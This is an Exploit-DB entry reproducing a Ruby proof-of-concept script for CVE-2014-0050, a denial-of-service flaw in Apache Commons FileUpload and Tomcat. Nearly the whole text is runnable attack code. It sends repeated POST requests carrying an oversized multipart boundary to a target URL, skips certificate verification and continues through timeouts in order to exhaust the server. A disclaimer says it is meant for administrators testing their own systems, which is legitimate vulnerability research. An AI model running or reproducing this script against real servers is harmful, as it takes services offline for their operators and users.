标题: Apache Commons FileUpload and Apache Tomcat - Denial of Service EDB-ID: 31615 CVE: 2014-0050 类型: DOS 平台: MULTIPLE 发布日期: 2014-02-12 漏洞利用脚本: #################################################################################
# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service #
#                     #
# Author: Oren Hafif, Trustwave SpiderLabs Research        #
# This is a Proof of Concept code that was created for the sole purpose   #
# of assisting system administrators in evaluating whether their applications  #
# are vulnerable to this issue or not           #
#                      #
# Please use responsibly.              #
#################################################################################


require 'net/http'
require 'net/https'
require 'optparse'
require 'openssl'


options = {}

opt_parser = OptionParser.new do |opt|
  opt.banner = "Usage: ./CVE-2014-0050.rb [OPTIONS]"
  opt.separator  ""
  opt.separator  "Options"
  opt.on("-u","--url URL","The url of the Servlet/JSP to test for Denial of Service") do |url|
    options[:url] = url
  end

  opt.on("-n","--number_of_requests NUMBER_OF_REQUSETS","The number of requests to send to the server. The default value is 10") do |number_of_requests|
    options[:number_of_requests] = number_of_requests
  end

  opt.on("-h","--help","help") do
   puts ""
    puts "#################################################################################"
 puts "# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service   #"
 puts "#                                                                               #"
 puts "# Author: Oren Hafif, Trustwave SpiderLabs Research                             #"
 puts "# This is a Proof of Concept code that was created for the sole purpose         #"
 puts "# of assisting system administrators in evaluating whether or not               #"
 puts "# their applications are vulnerable to this issue.                              #"
 puts "#                                                                               #"
 puts "# Please use responsibly.                                                       #"
 puts "#################################################################################"
    puts ""
    puts opt_parser
    puts ""
  
 exit
  end
end

opt_parser.parse!


uri = ""
begin
 uri = URI.parse(options[:url])
rescue Exception => e
 puts ""
 puts "ERROR: Invalid URL was entered #{options[:url]}"
 puts ""
    puts opt_parser
    exit
end

number_of_requests = 10;
if(options[:number_of_requests] != nil)
 begin
  number_of_requests = Integer( options[:number_of_requests] )
  throw Exception.new if number_of_requests <= 0 
 rescue Exception => e
  puts e
  puts ""
  puts "ERROR: Invalid NUMBER_OF_REQUSETS was entered #{options[:number_of_requests]}"
  puts ""
     puts opt_parser
     exit
 end
end

#uri = URI.parse(uri)


puts ""
puts "WARNING: Usage of this tool for attack purposes is forbidden - press Ctrl-C now to abort..."
i=10
i.times { print "#{i.to_s}...";sleep 1; i-=1;}
puts ""


number_of_requests.times do 
 begin
 puts "Request Launched"
 https = Net::HTTP.new(uri.host,uri.port)
 https.use_ssl = uri.scheme=="https"
 https.verify_mode = OpenSSL::SSL::VERIFY_NONE
 req = Net::HTTP::Post.new(uri.path)
 req.add_field("Content-Type","multipart/form-data; boundary=#{"a"*4092}")
 req.add_field("lf-None-Match","59e532f501ac13174dd9c488f897ee75")
 req.body = "b"*4097
 https.read_timeout = 1 
 res = https.request(req)
 rescue Timeout::Error=>e
  puts "Timeout - continuing DoS..."
 rescue Exception=>e
  puts e.inspect
 end
end URL: https://www.exploit-db.com/exploits/31615